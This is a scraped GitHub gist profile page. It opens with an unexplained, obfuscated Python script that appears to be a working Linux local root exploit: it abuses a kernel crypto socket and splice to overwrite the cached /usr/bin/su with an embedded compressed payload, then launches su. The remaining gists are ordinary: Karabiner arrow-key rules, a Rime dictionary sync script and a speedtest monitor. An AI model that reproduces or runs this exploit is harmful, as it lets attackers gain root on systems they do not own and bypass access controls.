Skip to content

Instantly share code, notes, and snippets.

View zwzheng45's full-sized avatar

ZZW zwzheng45

  • King's College London
  • 🌍
  • 14:05 (UTC +01:00)
View GitHub Profile
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
#!/usr/bin/env python3
import time
import rospy
from geometry_msgs.msg import Twist
import math
MAX_FWD_SPEED=3
SPIN_SPEED=0.5
HZ=10
@zwzheng45
zwzheng45 / rules.json
Created December 15, 2025 00:36
Karabiner规则:fn/ctrl+ijkl to ↑←↓→
{
"description": "Map fn+ijkl and ctrl+ijkl to arrow keys",
"manipulators": [
{ "type": "basic", "from": { "key_code": "i", "modifiers": { "mandatory": ["fn"], "optional": ["any"] } }, "to": [{ "key_code": "up_arrow" }] },
{ "type": "basic", "from": { "key_code": "k", "modifiers": { "mandatory": ["fn"], "optional": ["any"] } }, "to": [{ "key_code": "down_arrow" }] },
{ "type": "basic", "from": { "key_code": "j", "modifiers": { "mandatory": ["fn"], "optional": ["any"] } }, "to": [{ "key_code": "left_arrow" }] },
{ "type": "basic", "from": { "key_code": "l", "modifiers": { "mandatory": ["fn"], "optional": ["any"] } }, "to": [{ "key_code": "right_arrow" }] },
{ "type": "basic", "from": { "key_code": "i", "modifiers": { "mandatory": ["control"], "optional": ["any"] } }, "to": [{ "key_code": "up_arrow" }] },
{ "type": "basic", "from": { "key_code": "k", "modifiers": { "mandatory": ["control"], "optional": ["any"] } }, "to": [{ "key_code": "down_arrow" }] },
@zwzheng45
zwzheng45 / auto_update_rime.sh
Last active February 18, 2026 12:20
定时同步rime词典
#!/bin/bash
REPO_DIR="/Users/zzw/GitHub/rime-fast-xhup"
TARGET_DIR="/Users/zzw/Library/Rime"
cd "$REPO_DIR" || { echo "目录不存在"; exit 1; }
pull_output="$(git pull 2>&1)" || { echo "$pull_output"; exit 1; }
dry_cn="$(rsync -ani cn_dicts/ "$TARGET_DIR/cn_dicts/" 2>&1)" || { echo "$dry_cn"; exit 1; }
@zwzheng45
zwzheng45 / scheduled_speedtest.sh
Last active April 3, 2025 06:32
定时网速监测:使用ookia的speedtest服务进行网速测试,并通过飞书Webhook推送结果
#!/usr/bin/env bash
#
# scheduled_speedtest.sh
#
# 定时网速监测
# - 使用ookia的speedtest服务进行网速测试
# - 如果大于设置的速度合格阈值,则直接退出
# - 如果未达到测速阈值,调用飞书Webhook发送警告,并进行3次补测,再将补测结果一并推送到飞书
# - 如果Webhook调用失败,会将待发送信息先保存在本地,每次运行时都会检查并尝试发送之前未成功发送的信息
# - 使用crontab等程序定时运行此脚本即可实现定时监测,如: